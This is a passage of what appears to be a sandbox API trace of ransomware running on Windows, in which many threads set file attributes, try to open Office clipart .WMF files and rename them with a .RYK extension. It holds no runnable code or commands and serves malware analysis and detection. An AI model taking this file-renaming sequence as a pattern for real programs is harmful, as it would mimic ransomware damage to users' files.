	[0238.540] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1868
	os_tid = 0x2328

	[0238.361] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF", dwFileAttributes=0x80) returned 0
	[0238.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.630] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.630] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1869
	os_tid = 0x232c

	[0238.361] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF", dwFileAttributes=0x80) returned 0
	[0238.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.538] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.538] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1870
	os_tid = 0x2330

	[0238.362] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF", dwFileAttributes=0x80) returned 0
	[0238.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.631] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.631] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1871
	os_tid = 0x2334

	[0238.415] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF", dwFileAttributes=0x80) returned 0
	[0238.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.705] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.705] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1872
	os_tid = 0x2338

	[0238.416] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF", dwFileAttributes=0x80) returned 0
	[0238.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.658] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.658] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1873
	os_tid = 0x233c

	[0238.417] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF", dwFileAttributes=0x80) returned 0
	[0238.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.657] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.657] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1874
	os_tid = 0x2340

	[0238.418] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF", dwFileAttributes=0x80) returned 0
	[0238.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.655] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.655] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1875
	os_tid = 0x2344

	[0238.419] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF", dwFileAttributes=0x80) returned 0
	[0238.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.654] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.654] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1876
	os_tid = 0x2348

	[0238.420] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF", dwFileAttributes=0x80) returned 0
	[0238.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.653] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.653] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1877
	os_tid = 0x234c

	[0238.421] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF", dwFileAttributes=0x80) returned 0
	[0238.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.652] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.652] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1878
	os_tid = 0x2350

	[0238.422] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF", dwFileAttributes=0x80) returned 0
	[0238.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.650] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.650] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1879
	os_tid = 0x2354

	[0238.423] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF", dwFileAttributes=0x80) returned 0
	[0238.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.649] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.649] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1880
	os_tid = 0x2358

	[0238.424] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF", dwFileAttributes=0x80) returned 0
	[0238.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.648] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.648] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1881
	os_tid = 0x235c

	[0238.428] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF", dwFileAttributes=0x80) returned 0
	[0238.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.647] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.647] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1882
	os_tid = 0x2360

	[0238.429] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF", dwFileAttributes=0x80) returned 0
	[0238.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.646] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.646] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1883
	os_tid = 0x2364

	[0238.430] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF", dwFileAttributes=0x80) returned 0
	[0238.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.645] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.645] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1884
	os_tid = 0x2368

	[0238.432] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF", dwFileAttributes=0x80) returned 0
	[0238.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.644] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.644] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1885
	os_tid = 0x236c

	[0238.433] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF", dwFileAttributes=0x80) returned 0
	[0238.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.642] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.642] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1886
	os_tid = 0x2370

	[0238.556] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF", dwFileAttributes=0x80) returned 0
	[0238.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.641] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.641] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1887
	os_tid = 0x2374

	[0238.557] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF", dwFileAttributes=0x80) returned 0
	[0238.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.751] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.751] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1888
	os_tid = 0x2378

	[0238.557] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF", dwFileAttributes=0x80) returned 0
	[0238.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.639] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.639] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1889
	os_tid = 0x237c

	[0238.558] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF", dwFileAttributes=0x80) returned 0
	[0238.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.908] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.909] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1890
	os_tid = 0x2380

	[0238.558] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF", dwFileAttributes=0x80) returned 0
	[0238.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.910] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.910] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1891
	os_tid = 0x2384

	[0238.558] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF", dwFileAttributes=0x80) returned 0
	[0238.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.911] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.911] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1892
	os_tid = 0x2388

	[0238.559] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF", dwFileAttributes=0x80) returned 0
	[0238.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.912] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.913] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1893
	os_tid = 0x238c

	[0238.559] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF", dwFileAttributes=0x80) returned 0
	[0238.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.914] CloseHandle (hObject=0xffffffffffffffff) returned 0
